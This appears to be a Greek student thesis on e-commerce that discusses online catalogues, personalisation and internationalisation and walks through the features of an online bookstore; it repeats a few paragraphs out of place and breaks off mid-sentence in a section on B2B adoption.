
Λεκτικές παραπομπές.

Αποτελεσματική Επικοινωνία Με Τους Καταναλωτές

Για να διατηρήσει την αξία της μια ιστοσελίδα εκτός από όμορφη και εύκολη στην πλοήγηση πρέπει να έχει ενσωματωμένους κατάλληλους μηχανισμούς επικοινωνίας με τους καταναλωτές.

Newsletters, είναι ενημερωτικά φυλλάδια με τα νέα της επιχείρησης που αποστέλλονται μέσω e-mail. Infobots, μηχανισμοί αυτόματων απαντήσεων που ενημερώνουν τους επισκέπτες ότι έλαβε η επιχείρηση το e-mail τους και να δίνουν απαντήσεις σε συχνές και αναμενόμε-νες ερωτήσεις.

Τηλεφωνία online,η δυνατότητα επικοινωνίας μέσω web με τον επισκέπτη ή η κλή-ση προς αυτόν αφού αποστείλει το νούμερο του τηλεφώνου του. Online chat, η δυνατότητα των επισκεπτών να συνομιλούν γραπτώς με υπαλλήλους ή πωλητές της ιστοσελίδας. Φόρμες επικοινωνίας, είναι πολύ σημαντικές γιατί από το πόσο απλές και κατανοη-τές είναι εξαρτώνται και οι αγορές που θα κάνουν οι καταναλωτές.

Ηλεκτρονικός Κατάλογος Προίοντων

Βασικό εργαλείο ενός ηλεκτρονικού καταστήματος αποτελεί ο ηλεκτρονικός κατάλογος ο οποίος με την πάροδο των ετών εξελίχθηκε από μια απλή αντιγραφή του καταλόγου από χαρτί σε ένα εργαλείο που παρουσιάζει προϊόντα, υποδεικνύει συμπληρωματικά προϊόντα, προτείνει αναβαθμισμένα προϊόντα ή προϊόντα που έχουν προμηθευθεί καταναλωτές με παρόμοιες αγοραστικές συνήθειες, συνδέεται με την διαδικασία αγοράς, πληρωμής, το λογιστήριο κ.α.

Οι ηλεκτρονικοί κατάλογοι διακρίνονται ανάλογα με την δυναμικότητα που παρουσιάζουν τα προϊόντα σε δυναμικούς καταλόγους όταν ο επισκέπτης έχει τη δυνατότητα να ορίζει παραμέτρους αναζήτησης και σε στατικούς καταλόγους όταν τα προϊόντα παρουσιάζονται σειριακά, δηλαδή ο επισκέπτης δεν έχει την δυνατότητα να ορίζει παραμέτρους αναζήτησης.

Επίσης διακρίνονται ανάλογα με την εξατομίκευση που παρέχουν σε εξατομικευμένους όταν δηλαδή διαφοροποιείται ανάλογα με την συμφωνία που κάνει ο κάθε πελάτης με την εταιρεία και σε έτοιμους ή αδιαφοροποίητους όταν ο κατάλογος είναι ο ίδιος για όλους τους πελάτες.

Ο ηλεκτρονικός κατάλογος έχει αρκετά πλεονεκτήματα όπως το χαμηλό κόστος κατασκευής του, την ευελιξία στην ανανέωση του υλικού, το συντομότερο χρόνο έκδοσής του, την δυνατότητα παγκόσμιας προβολής χωρίς επιπλέον κόστος και τέλος την αναβάθμιση των υπηρεσιών προς τον πελάτη.

Έτσι ο καταναλωτής από οποιοδήποτε σημείο και ανά πάσα στιγμή μπορεί να διαλέξει τα προϊόντα που επιθυμεί, να δώσει την παραγγελία άμεσα και να ενημερώνεται για τη διαθεσιμότητά τους και για το χρόνο παράδοσής τους.

Απαραίτητη προϋπόθεση για τα ανωτέρω είναι ο καταναλωτής να έχει συνδεθεί με το δια-δίκτυο, μειονέκτημα που εξαλείφεται με την πάροδο των χρόνων αφού το διαδίκτυο γίνεται ολοένα και πιο διαδεδομένο.

Στην περίπτωση που οι ηλεκτρονικοί κατάλογοι συνοδεύονται από την δυνατότητα αγορών μετατρέπονται από απλοί κατάλογοι σε ένα ολόκληρο κατάστημα. Η δομή τους λοιπόν πρέπει να δίνει την δυνατότητα στον πελάτη να πλοηγηθεί εύκολα και γρήγορα, να δώσει παραγγελία, να προσθέτει προϊόντα στο καλάθι του, να πληρώσει ή να ακυρώσει ενέργειες και να αποχωρήσει όποτε το θελήσει.

Για να είναι εύκολα και ευχάριστα τα ανωτέρω ο κατάλογος πρέπει να είναι εύκολος στην πλοήγηση. Αυτό επιτυγχάνεται χρησιμοποιώντας κατανοητούς όρους, θεματικές ενότητες με το είδος πώλησης/γεωγραφικές περιοχές/είδος προϊόντων, μηχανή αναζήτησης, χάρτη του δικτυακού τόπου, μενού επιλογών, μπάρες πλοήγησης σε κάθε σελίδα

οι οποίες θα περιλαμβάνουν επιλογές της αρχικής σελίδας των τμημάτων ή των ομάδων των προϊόντων της επικοινωνίας/των προσφορών/του δελτίου παραγγελίας/της εξόδου προς το ταμείο/και της εξόδου προς το κατάστημα.

Επίσης εάν η σελίδα είναι μεγαλύτερη από μία οθόνη στο τέλος της σελίδας θα ήταν καλό να τοποθετηθεί το σύμβολο «αρχής σελίδας». Εκτός από εύκολος ο κατάλογος είναι και γρήγορος και αυτό επιτυγχάνεται φτιάχνοντας μικρές σελίδες και με λίγα γραφικά.Είναι προτιμότερο, εάν είναι αναγκαίο να υπάρχουν μεγάλες φωτογραφίες, να υπάρχει μία σε σμίκρυνση ώστε να αποφασίσει ο επισκέπτης αν θα δει το φυσικό της μέγεθος.

ΜΑΖΙΚΗ ΕΞΑΤΟΜΙΚΕΥΣΗ

Η δυνατότητα κατασκευής από την παραγωγή εξατομικευμένων προϊόντων λέγεται μαζική εξατομίκευση. Στην περίπτωση ενός ηλεκτρονικού καταστήματος αυτό γίνεται με την διαφοροποίηση ανάλογα με τις ανάγκες του πελάτη, του προϊόντος αλλά και όλου του ηλεκτρονικού καταστήματος.

Με απλά λόγια εξατομίκευση είναι μία σελίδα που αποθηκεύει στην μνήμη της τα ενδιαφέροντα του πελάτη ώστε στην επόμενή του επίσκεψη να εμφανιστούν αμέσως. Πιο περίτεχνες μορφές, περιέχουν υποδείξεις στους επισκέπτες για υπηρε-σίες και προϊόντα.

Η συγκεκριμένη εξατομίκευση βασίζεται στο ιστορικό αγορών του επισκέπτη, στις πληροφορίες που παίρνει για τις προτιμήσεις του και σε βάσεις δεδομένων με ανάλογα στοιχεία. Η εξατομίκευση του καταλόγου προϊόντων γίνεται με δύο τρόπους.

Ο πρώτος τρόπος γίνεται από τον επισκέπτη ο οποίος ανοίγοντας τον κατάλογο δίνει και τα ενδιαφέροντά του σχετικά με τα προϊόντα, τις τιμές και τον τρόπο πληρωμής. Ο κατάλογος τότε θα φιλτράρει τα προϊόντα που πληρούν τις δεδομένες προδιαγραφές.

Ο δεύτερος τρόπος βασίζεται στις προηγούμενες επισκέψεις και επιλογές που έχει κάνει ο επισκέπτης συνδυάζοντας και τα ενδιαφέροντα που έχει δηλώσει. Παράδειγμα των ανωτέρω είναι οι προτάσεις που θα κάνει το πρόγραμμα του καταλόγου ενός ηλεκτρονικού καταστήματος βιβλίων στον επισκέπτη για ιστορικά βιβλία εφόσον αυτός είχε ψάξει στο παρελθόν την συγκεκριμένη κατηγορία βιβλίων.

Ορισμένα πλεονεκτήματα μαζικής εξατομίκευσης αναφέρονται αναλυτικά παρακάτω:

Αύξηση των γνώσεων για τους επισκέπτες λόγω του ότι οι πιστοί πελάτες δίνουν ευκολότερα τα στοιχεία για τις καταναλωτικές τους συνήθειες βάση των οποίων είναι ευκολότερο να προσεγγιστούν την σωστή χρονική στιγμή με το σωστό μήνυμα.

Αύξηση της απόδοσης των χρημάτων λόγω του ότι οι εξατομικευμένες ιστοσελίδες προσελκύουν περισσότερους επισκέπτες με αποτέλεσμα η απόδοση των χρημάτων κατασκευής και προβολής του ηλεκτρονικού καταστήματος να αυξάνεται Πιστοί πελάτες γιατί εάν ο πελάτης είναι ευχαριστημένος από τις προσφερόμενες υπηρεσίες μειώνονται οι πιθανότητες να ψάξει σε ανταγωνιστικά καταστήματα

Εκτός αυτού πολλά είναι τα οφέλη που προσφέρει ο πελάτης στην εταιρεία:

1.

Συστήνει νέους πελάτες,

2.

Κάνει επαναλαμβανόμενες αγορές,

3.

Ο κίνδυνος αποχώρησης από το κατάστημα και επιλογής ενός άλλου είναι

μικρότερος,

4.

Σε περίπτωση που δεν μείνει ευχαριστημένος δίνει μια δεύτερη ευκαιρία στην

επιχείρηση,

5.

Αγοράζει πιο εύκολα μια νέα υπηρεσία ή προϊόν

Δημιουργείται συγκριτικό πλεονέκτημα έναντι των ανταγωνιστών της επειδή αυτοί έχουν την νοοτροπία ένα προϊόν για όλους. Η μαζική εξατομίκευση γίνεται με έναν από τους κάτωθι τρόπους ή σε συνδυασμό αυτών.

Μέσω ηλεκτρονικού ταχυδρομείου. Η επιχείρηση μέσω ενός μηνύματος που στέλνει με το ηλεκτρονικό ταχυδρομείο ή μέσω μιας διαφήμισης στην ιστοσελίδα της ζητά από τον επισκέπτη να γίνει μέλος της και να δέχεται μηνύματα που τον ενδιαφέρουν, χωρίς να χρειάζεται επιπλέον λογισμικό από την πλευρά του.

Με αυτό τον τρόπο η επιχείρηση παίρνει την πρωτοβουλία, με την συγκατάθεση βεβαίως του παραλήπτη, να ελέγχει πότε και πόσα μηνύματα θα στείλει. Εξατομίκευση μέσω ειδικού λογισμικού.

Ο πιο διαδεδομένος τρόπος είναι η εγκατάσταση λογισμικού που φαίνεται ακόμα και στην επιφάνεια εργασίας του υπολογιστή σαν εικονίδιο ή μπάρα με εργαλεία και επιλογές.

Τα πλεονεκτήματα εδώ είναι η εξοικονόμηση χρόνου για τον χρήστη ο οποίος έχει άμεση πρόσβαση στην σελίδα που τον ενδιαφέρει χωρίς να χρειάζεται να περάσει από την αρχική σελίδα της ιστοσελίδας.

Αντίθετα η απαίτηση εγκατάστασης επιπλέον λογισμικού μπορεί να αποτρέψει ορισμένους χρήστες να κάνουν χρήση αυτής της υπηρεσίας. Εξατομίκευση μέσω σελίδας web .

Ο τρόπος αυτός απαιτεί ο επισκέπτης να είναι συνδεδεμένος με το δίκτυο και να συνδεθεί με την ιστοσελίδα της επιχείρησης. Γίνεται χρησιμοποιώντας cookies ή μέσω κωδικού για την είσοδό του στην ιστοσελίδα.

Ο επισκέπτης χωρίς να εγκαταστήσει άλλα προγράμματα λογισμικού απολαμβάνει εξειδικευμένο περιεχόμενο πολυμέσων (εικόνα, κείμενο, βίντεο, ήχο). Και οι τρείς που αναλύθηκαν έχουν πλεονεκτήματα και μειονεκτήματα. Συνδυάζοντας όμως δύο ή και τρείς τρόπους μαζί αυξάνεται το συνολικό πλεονέκτημα και μειώνονται τα αρνητικά σημεία.

Διεθνοποίηση Του Ηλεκτρονικού Καταστήματος

Πολλοί επιχειρηματίες επιζητούν να διευρύνουν την πελατεία και τους ορίζοντες των εταιρειών τους, να έχουν την δυνατότητα να διακινούν τα κέρδη τους σε χώρες με χαμηλούς φόρους και να βρίσκουν φθηνότερους πόρους (προσωπικό, γη, χρήμα, μηχανήματα).

Επιθυμούν δηλαδή την διεθνοποίηση του ηλεκτρονικού καταστήματός τους. Με τον όρο διεθνοποίηση δεν εννοούμε μόνο την μετάφραση του κειμένου της ιστοσελίδας σε άλλες γλώσσες.

Εννοούμε και την ανάπτυξη σχέσεων με συνεργάτες, πελάτες και προμηθευτές. Απαραίτητη προϋπόθεση για να γίνει αυτό είναι η γνώση της γλώσσας τους αφενός και αφετέρου η γνώση των αναγκών τους και του επιχειρηματικού περιβάλλοντος μέσα στο οποίο λειτουργούν.

Για παράδειγμα δεν θα ήταν πρέπον να σταλούν στην Ιαπωνία αγαθά πακεταρισμένα με λευκό χαρτί γιατί το λευκό είναι το χρώμα του θανάτου για αυτούς. Αναγκαία είναι η κατοχύρωση πολλών ονομάτων παγκοσμίως.

Οι σημαίες που διευκρινίζουν τις γλώσσες της ιστοσελίδας κατευθύνουν τους επισκέπτες στην ιστοσελίδα της χώρας τους και δεν μεταφράζουν απλά τις σελίδες. Έτσι δεν υπερφορτώνεται ο δικτυακός τόπος και συγχρόνως το περιεχόμενο της ιστοσελίδας κάθε χώρας θα περιέχει πληρο-φορίες που αφορούν το κοινό της συγκεκριμένης χώρας.

Επιβάλλεται να αναγράφεται αν υπάρχει δυνατότητα παράδοσης σε οποιοδήποτε μέρος της γης. Επίσης είναι προτιμότερο να χρησιμοποιούνται μεταφραστές ώστε να γνωρίζουν τους ιδιωματισμούς της κάθε γλώσσας.

Επιπρόσθετα πρέπει να έχουν ερευνηθεί ορισμένες παράμετροι σχετικά με το προϊόν και το τι ισχύει σχετικά με αυτό στην παγκόσμια αγορά όπως η δυνατότητα μετατροπής της τιμής στα τοπικά νομίσματα, ο ελάχιστος όγκος παραγγελίας, το νομικό καθεστώς της κάθε χώρας, ο χρόνος παράδοσης του προϊόντος, ο τρόπος παραγγελίας και η τελική τιμή του προϊόντος αφού ενσωματωθούν μεταφορικά και πιθανοί φόροι.

Η διαχείριση, ο συντονισμός και η ενημέρωση πληροφοριών μιας παγκόσμιας ιστοσελίδας είναι προτιμότερο να γίνεται από τα κεντρικά και οι αντιπρόσωποι του εξωτερικού να ενημερώνουν με το τοπικό περιεχόμενο.

Από τη στιγμή που έχουν γίνει όλα τα προηγούμενα βήματα η διαδικασία κατασκευής του ηλεκτρονικού καταστήματος τελείωσε. Πριν παρουσιαστεί επισήμως στο διαδίκτυο πρέπει να γίνει πρώτα ένα τεστ λειτουργικότητας από ορισμένους υπαλλήλους και γνωστούς κατά προτίμηση όχι έμπειρους χρήστες του διαδικτύου.

Βλέποντας τις αντιδράσεις τους και τις τυχόν προτάσεις βελτίωσης που έκαναν τελειοποιείται η ιστοσελίδα. Προϋπόθεση όμως για να απογειωθούν οι πωλήσεις και να μάθουν οι

επισκέπτες την ύπαρξη της ιστοσελίδας είναι να προβληθεί η εταιρεία εντός και εκτός διαδικτύου.

Οι συμβατικές ενέργειες προβολής ενός δικτυακού τόπου είναι τα διαφημιστικά φυλλάδια, τα χρηστικά αντικείμενα, η διαφήμιση στον τύπο και από στόμα σε στόμα.

Αντίθετα η διαφήμιση μέσω του διαδικτύου γίνεται με γραφικά εικονίδια τα λεγόμενα banners που συνδέονται με την ιστοσελίδα του διαφημιζόμενου, με scrolling ads, pop-up windows, DHTML cursor, error adverts, pop under windows, advertorials και info ads, διαφημίσεις κειμένου και βίντεο.

Κλείνοντας το κομμάτι του τρόπου προώθησης εντός διαδικτύου αναφέρεται ότι οι τόποι διαφήμισης στο διαδίκτυο είναι οι χώροι μαζικής προσέλευσης, οι εμπορικοί και υβριδικοί τόποι καθώς και οι τόποι διάθεσης περιεχομένου.

ΔΗΜΙΟΥΡΓΙΑ ΗΛΕΚΤΡΟΝΙΚΟΥ ΒΙΒΛΙΟΠΩΛΕΙΟΥ

Σε αυτήν την ενότητα ακολουθεί η περιγραφή του ηλεκτρονικού καταστήματος. Η ιστοσελίδα είναι κατασκευασμένη και δομημένη έτσι ώστε ακόμα και οι χρήστες με ελάχιστη εμπειρία στην πλοήγηση στο Internet να μπορούν εύκολα και γρήγορα να πραγματοποιήσουν τις ενέργειες που επιθυμούν.

Αρχική Σελίδα

Κατά την πρώτη επίσκεψη ενός χρήστη στην ιστοσελίδα η πρώτη σελίδα που βλέπει είναι η αρχική σελίδα. Αυτή περιλαμβάνει τον γενικό τίτλο του βιβλιοπωλείου. Επίσης στην αρχική σελίδα εμφανίζεται το logo της ιστοσελίδας στην πάνω αριστερή γωνία. Το logo αυτό εμφανίζεται σε κάθε σελίδα και με ένα κλικ σε αυτό η περιήγηση επιστρέφει στην αρχική σελίδα

Από αυτό το σημείο μπορεί να επιλέξει ο χρήστης τις ενέργειες που επιθυμεί να κάνει, να εγγραφεί στο βιβλιοπωλείο, και να συνδεθεί ή να συνδεθεί κατευθείαν εφόσον είναι ήδη

εγγεγραμμένος. Οι ενέργειες αυτές μπορούνε να πραγματοποιηθούν επιλέγοντας τον κατάλληλο σύνδεσμο στα δεξιά της οθόνης.

Εγγραφή Χρήστη Ο απλός χρήστης-επισκέπτης έχει την δυνατότητα να εγγραφεί στο σύστημα και να αποκτήσει τα δικαιώματα του μέλους. Η εγγραφή πραγματοποιείται στην σελίδα Εγγραφή Χρήστη συμπληρώνοντας και τις δύο φόρμες εγγραφής και η μετάβαση σε αυτήν γίνεται από οποιοδήποτε σημείο της εφαρμογής πατώντας στον σύνδεσμο «Sign Up».

Η συμπλήρωση όλων των πεδίων είναι υποχρεωτική και ορισμένα από αυτά πρέπει να είναι συμπληρωμένα με συγκεκριμένο τρόπο. Όπως για παράδειγμα το πεδίο E-mail όπου θα πρέπει να έχει έγκυρη μορφή.

Ο έλεγχος για την ορθότητα πλήρωσης των απαιτούμενων πεδίων γίνεται με το πά-τημα του κουμπιού «Καταχώρηση». Σε περίπτωση που κάποιο πεδίο δεν είναι συμπληρωμένο θα εμφανιστεί μήνυμα λάθους το οποίο θα εμποδίσει την αποθήκευση των στοιχείων στη Βάση Δεδομένων.

Σε κάθε περίπτωση λανθασμένης συμπλήρωσης των απαιτούμενων πεδίων, θα εμφανίζεται προειδοποιητικό μήνυμα το οποίο θα πληροφορεί τον χρήστη για το τι ακριβώς πρέπει να κάνει, και θα εμποδίζει την εγγραφή του.

Γίνεται επίσης ένας επιπλέον έλεγχος για να ικανοποιηθεί ο περιορισμός σχετικά για την μοναδικότητα του E-mail. Αν ο χρήστης πληκτρολογήσει στο πεδίο E-mail ένα e-mail το οποίο χρησιμοποιείται ήδη από κάποιο άλλο μέλος του συστήματος, τότε θα εμφανιστεί σχετικό μήνυμα. Η εγγραφή θα πραγματοποιηθεί αφού ο χρήστης πατήσει το κουμπί «Καταχώρηση» και εμφανιστεί το μήνυμα «Επιτυχής δημιουργία λογαριασμού!». Τότε τα στοιχεία του προς εγγραφή χρήστη θα αποθηκευτούν στην Βάση Δεδομένων του συστήματος και ο χρήστης πλέον θα αποκτήσει τα δικαιώματα του μέλους.

Μετά από μια επιτυχή εγγραφή ο χρήστης καλείται να συμπληρώσει τα στοιχεία πρόσβασης του στην φόρμα εισόδου που θα εμφανιστεί, πατώντας τον σύνδεσμο «Login» , ώστε να εισαχθεί στο σύστημα με τα δικαιώματα του μέλους.

Είσοδος Ο χρήστης πατώντας τον σύνδεσμο «Login» έχει την δυνατότητα να πληκτρολογήσει το email και τον κωδικό εισόδου με τον οποίο είναι εγγεγραμμένος. Με το που πατήσει το κουμπί «Sign In» γίνεται έλεγχος για το αν υπάρχει αντιστοιχία των στοιχείων που πληκτρολόγησε ο χρήστης με αυτά που υπάρχουν στη Βάση δεδομένων.

Σε περίπτωση λάθους εμφανίζεται σχετικό μήνυμα για να διορθώσει τα στοιχεία του. Σε περίπτωση που υπάρχει αντιστοιχία πραγματοποιείται η επιτυχής είσοδος του χρήστη στο σύστημα, το οποίο πλέον τον αναγνωρίζει σαν μέλος και έχει την δυνατότητα να ασκήσει τα δικαιώματα του.

Μενού Ο χρήστης βρίσκοντας τώρα στην αρχική σελίδα μπορεί να επιλέξει από το μενού αριστερά την κατηγορία ή την υποκατηγορία όπου αυτός επιθυμεί να δει βιβλία. Το μενού φαίνεται παρακάτω. Επιλέγοντας την κατηγορία που θέλει μεταφέρεται στην προβολή των βιβλίων της αντίστοιχης κατηγορίας. Όπως βλέπουμε παραπάνω έχει την δυνατότητα να περιορίσει την αναζήτηση των βιβλίων επιλέγοντας από τα φίλτρα αναζήτησης είτε τον συγγραφέα που επιθυμεί να δει τα βιβλία του, είτε τον εκδότη. Ακόμα έχει την δυνατότητα να προσθέσει στην Wishlist ή στο καλάθι αγορών του το βιβλίο χωρίς να μπει να το δει πατώντας τα σχετικά κουμπιά. Τέλος επιλέγοντας το βιβλίο που επιθυμεί μεταφέρεται στην προβολή του.

ΠΡΟΒΟΛΗ ΒΙΒΛΙΟΥ Στην σελίδα αυτή παρουσιάζεται αναλυτικά το βιβλίο με τις λεπτομέρειες και την περιγραφή του Στα αριστερά της σελίδας εμφανίζεται η φωτογραφία του βιβλίου και δίπλα οι λεπτομέρειές του όπως το πόσες σελίδες είναι, ποιος είναι ο τίτλος, ο συγγραφέας, ο εκδότης, ποια είναι

η ημερομηνία έκδοσης του, το isbn του, σε ποια κατηγορία/υποκατηγορία ανήκει και τέλος ποια είναι η τιμή του. Στα δεξιά εμφανίζεται μια μικρή περίληψη του βιβλίου και οι επιλογές για να το προσθέσει στο καλάθι αγορών ή στην Wishlist. Από κάτω υπάρχει ένα πλαίσιο με σχετικά βιβλία. Εκεί εμφανίζονται μέχρι 5 βιβλία τυχαία που έχουν αγοραστεί μαζί με το συγκεκριμένο βιβλίο από διάφορους χρήστες. Και τέλος από κάτω υπάρχει η δυνατότητα να αφήσει ο χρήστης σχόλιο με την προϋπόθεση να είναι συνδεδεμένος.

Αναζήτηση Ο κάθε χρήστης μπορεί να χρησιμοποιήσει την λειτουργία της αναζήτησης προκειμένου να βρει τα βιβλία που θέλει θέτοντας κάποια κριτήρια. Η λειτουργία της αναζήτησης γίνεται με δύο τρόπους, αυτόν της απλής αναζήτησης και αυτόν της σύνθετης αναζήτησης. Απλή αναζήτηση Στην απλή αναζήτηση απαιτείται η συμπλήρωση ενός μόνο πεδίου και κάνει αναζήτηση σε τίτλους βιβλίων, συγγραφείς και εκδότες. Εμφανίζει όποιο βιβλίο περιέχει την λέξη/φράση, που έχει δοθεί, στον τίτλο, στο συγγραφέα ή στον εκδότη. Η φόρμα της απλής αναζήτησης βρίσκεται σε κάθε σελίδα της εφαρμογής και έχει την παρακάτω μορφή. Αφού ο χρήστης πατήσει «Αναζήτηση» τότε μεταφέρεται στην λίστα αποτελεσμάτων της απλής αναζήτησης η οποία θα αναλυθεί παρακάτω. Σύνθετη αναζήτηση Η μετάβαση στη φόρμα της σύνθετης αναζήτησης γίνεται με κλικ στον σύνδεσμο «Σύνθετη Αναζήτηση» ο οποίος βρίσκεται και αυτός σε κάθε σελίδα της ιστοσελίδας. Στην σύνθετη αναζήτηση δίνεται η δυνατότητα στον χρήστη να εκτελέσει την αναζήτηση με περισσότερα και πιο συγκεκριμένα κριτήρια και επιλογές όπως το isbn ενός βιβλίου, τον εκδότη, τον συγγραφέα και την κατηγορία ή υποκατηγορία που επιθυμεί. Υπάρχει ένα αναδυόμενο μενού για την κατηγορία και την υποκατηγορία ενώ στα πεδία συγγραφέα και εκδότη με το που πληκτρολογήσει κάτι από κάτω φαίνονται οι επιλογές που έχει. Η μορφή αυτής της αναζήτησης φαίνεται παρακάτω. Αφού ο χρήστης πατήσει «Αναζήτηση» τότε μεταφέρεται στην λίστα αποτελεσμάτων της σύνθετης αναζήτησης η οποία θα αναλυθεί παρακάτω. Σύμφωνα με τις δύο αναζητήσεις που υπάρχουν, υπάρχουν και οι αντίστοιχες σελίδες αποτελεσμάτων. Για παράδειγμα στην απλή αναζήτηση πληκτρολογώντας την λέξη «γκρι»

εμφανίζει 2 βιβλία που περιέχουν αυτήν την λέξη μέσα στον τίτλο, τον συγγραφέα ή τον εκδότη. Η σελίδα των αποτελεσμάτων φαίνεται παραπάνω Αν τώρα στην σύνθετη αναζήτηση έχουμε επιλέξει ως συγγραφέα τον «Nesbo Jo» και ως εκδοτικό οίκο «Μεταίχμιο» τότε τα αποτελέσματα που θα μας εμφανιστούν είναι τα παραπάνω: Και στις δύο περιπτώσεις ο χρήστης έχει την δυνατότητα να το προσθέσει στην Wishlist ή στο καλάθι αγορών και πατώντας πάνω στην εικόνα ή στον τίτλο να μπει και να δει τις λεπτομέρειες και την περιγραφή του βιβλίου

Προφίλ Χρήστη Μετά την είσοδό του, ο χρήστης έχει το δικαίωμα να μπει και να δει το προφίλ του πατώντας πάνω δεξιά στον σύνδεσμο «Profile». Τότε μεταβιβάζεται στην σελίδα όπου υπάρχουν τα στοιχεία του, όπως φαίνεται παρακάτω: Έχοντας μπει στο προφίλ του έχει τέσσερις δυνατότητες. Να κάνει αλλαγή των στοιχείων του, να δει την Wishlist του, το καλάθι αγορών του αλλά και το ιστορικό παραγγελιών, όπου θα αναλυθούν παρακάτω.

Ενημέρωση των στοιχείων του Έχοντας πατήσει το κουμπί «ΑΛΛΑΓΗ ΣΤΟΙΧΕΙΩΝ» μεταφέρεται στην σελίδα ενημέρωσης του προφίλ του, όπως φαίνεται παρακάτω: Ο χρήστης δεν είναι υποχρεωμένος να συμπληρώσει όλα τα πεδία παρά μόνο αυτά που επιθυμεί να αλλάξει. Σε περίπτωση που δεν γίνει σωστή ενημέρωση θα εμφανιστεί σχετικό μήνυμα λάθους και θα έχει την δυνατότητα να ξαναπροσπαθήσει.

Wishlist Ο χρήστης μπορεί να μεταφερθεί στην σελίδα της Wishlist μπαίνοντας στο προφίλ του και πατώντας το κουμπί «Wishlist». Εκεί έχει την δυνατότητα να ξαναδεί τα βιβλία που είχε προσθέσει ότι επιθυμεί να αγοράσει. Επίσης μπορεί, τσεκάροντας το πεδίο αριστερά του βιβλίου να το διαγράψει από την Wishlist πατώντας το κουμπί «Διαγραφή». Και τέλος μπορεί κάνοντας κλικ στο καλάθι να το προσθέσει στο καλάθι αγορών του.

Καλάθι αγορών

Ο χρήστης έχει την δυνατότητα να μεταφερθεί στο καλάθι αγορών του είτε από το προφίλ του πατώντας το σχετικό κουμπί είτε άμεσα από οποιαδήποτε σελίδα βρίσκεται πατώντας δύο φορές από το μενού την επιλογή «Καλάθι αγορών». Με το πρώτο πάτημα απλά βλέπει πόσα προϊόντα έχει στο καλάθι του. Με το δεύτερο πάτημα μεταφέρεται στην σελίδα «κα-λάθι αγορών» όπου φαίνεται παραπάνω: Έχοντας εκεί ο χρήστης έχει την δυνατότητα να επιλέξει πόσες φορές θέλει να πα-ραγγείλει το βιβλίο αυξομειώνοντας το. Με το που πατήσει το κουμπί επόμενο βήμα αρχίζει η διαδικασία της παραγγελίας και μεταφέρεται στην σελίδα του τρόπου παράδοσης, που φαίνεται παραπάνω:

Εδώ έχει την δυνατότητα να επιλέξει από που θα παραλάβει τα προϊόντα της παραγγελίας του, είτε από το κατάστημα χωρίς καμία επιβάρυνση είτε μέσω courier με την επιβάρυνση των 5 ευρώ. Έχοντας επιλέξει τι από τα δύο επιθυμεί πατάει στο επόμενο βήμα και μεταβιβάζεται στην σελίδα όπου μπορεί να ελέγξει όλα τα στοιχεία για την παραγγελία του, όπως φαίνεται παραπάνω:

Αν υπάρξει κάποιο λάθος μπορεί να γυρίσει πίσω και να το διορθώσει. Αν όλα είναι εντάξει πατάει στο κουμπί «Ολοκλήρωση Παραγγελίας» και έχοντας κάνει σωστή παραγγελία του εμφανίζεται το κατάλληλο μήνυμα και επιστρέφει αυτόματα στην αρχική σελίδα.

Ιστορικό παραγγελιών Μετά το πέρας της παραγγελίας ο χρήστης έχει την δυνατότητα να μπει και να δει το ιστορικό των παραγγελιών του. Αυτή την δυνατότητα την έχει μπαίνοντας στο προφίλ του και πατώντας το σχετικό κουμπί. Η μορφή της σελίδας του ιστορικού φαίνεται παραπάνω: Τηλεφωνία online,η δυνατότητα επικοινωνίας μέσω web με τον επισκέπτη ή η κλήση προς αυτόν αφού αποστείλει το νούμερο του τηλεφώνου του.

Online chat, η δυνατότητα των επισκεπτών να συνομιλούν γραπτώς με υπαλλήλους ή πωλητές της ιστοσελίδας. Φόρμες επικοινωνίας, είναι πολύ σημαντικές γιατί από το πόσο απλές και κατανοητές είναι εξαρτώνται και οι αγορές που θα κάνουν οι καταναλωτές. Όπως φαίνεται στην παραπάνω φωτογραφία υπάρχει ο κωδικός της παραγγελίας, η ημερομηνία που έγινε αλλά και το συνολικό ποσό. Αν θέλει να δει περισσότερες λεπτομέρειες τότε μπορεί να πατήσει στην εικόνα με τον μεγεθυντικό φακό και να μεταφερθεί στην σελίδα με τις λεπτομέρειες της παραγγελίας όπως φαίνεται παραπάνω:

Βασικό εργαλείο ενός ηλεκτρονικού καταστήματος αποτελεί ο ηλεκτρονικός κατάλογος ο οποίος με την πάροδο των ετών εξελίχθηκε από μια απλή αντιγραφή του καταλόγου από χαρτί σε ένα εργαλείο που παρουσιάζει προϊόντα, υποδεικνύει συμπληρωματικά προϊόντα, προτείνει αναβαθμισμένα προϊόντα ή προϊόντα που έχουν προμηθευθεί καταναλωτές με παρόμοιες αγοραστικές συνήθειες, συνδέεται με την διαδικασία αγοράς, πληρωμής, το λογιστήριο κ.α.

ΕΠΙΚΟΙΝΩΝΙΑ

Πατώντας στο μενού «Επικοινωνία» ο χρήστης έχει την δυνατότητα να δει τα στοιχεία του βιβλιοπωλείου, που βρίσκεται, το τηλέφωνο και το e-mail. Ακόμα ο χρήσης έχει την δυνατότητα να στείλει ένα ή και περισσότερα μηνύματα σχετικά με τα προβλήματα ή με τις απορίες που μπορεί να έχει στον υπεύθυνο του καταστήματος.

Αυτό γίνεται με την συμπλή-ρωση των πεδίων της φόρμας επικοινωνίας που φαίνεται παραπάνω:

Ο χρήστης αφού πατήσει το κουμπί της αποστολής το μήνυμα θα σταλεί στον υπεύθυνο.

Αποσύνδεση

Με το πάτημα του συνδέσμου «Log Out» από το μενού επιλογών, ο χρήστης μεταφέρεται στην κεντρική σελίδα του συστήματος, έχοντας πλέον τα δικαιώματα του απλού επισκέπτη.

ΜΕΤΑΣΧΗΜΑΤΙΣΜΟΣ ΤΩΝ ΕΠΙΧΕΙΡΗΜΑΤΙΚΩΝ ΣΥΝΑΛΛΑΓΩΝ ΣΕ Β2Β Ένα μεγάλο και πολύ σημαντικό θέμα είναι αυτό του αποτελέσματος που έχει ο μετασχηματισμός των επιχειρήσεων από τον παλιό και παραδοσιακό τρόπο λειτουργίας τους, στον νέο και εκσυγχρονισμένο τρόπο, έχοντας πλέον και ηλεκτρονική μορφή. Λόγοι Καθυστέρησης Μετασχηματισμού σε Β2Β Υπάρχουν παράγοντες που είναι υπεύθυνοι για την καθυστέρηση πολλών επιχειρήσεων να ασχοληθούν με το ηλεκτρονικό εμπόριο Β2Β, όπως η δύναμη της συνήθειας των επιχειρηματιών να λειτουργούν τις επιχειρήσεις τους με τον παλιό παραδοσιακό τρόπο αλλά και ο φόβος τους για την αποτυχία με το να κάνουν ένα τέτοια βήμα αλλαγής. Επίσης υπάρχει και ο φόβος για όλους του κινδύνους που υπάρχουν στο διαδίκτυο πράγμα που κάνει αρκετούς 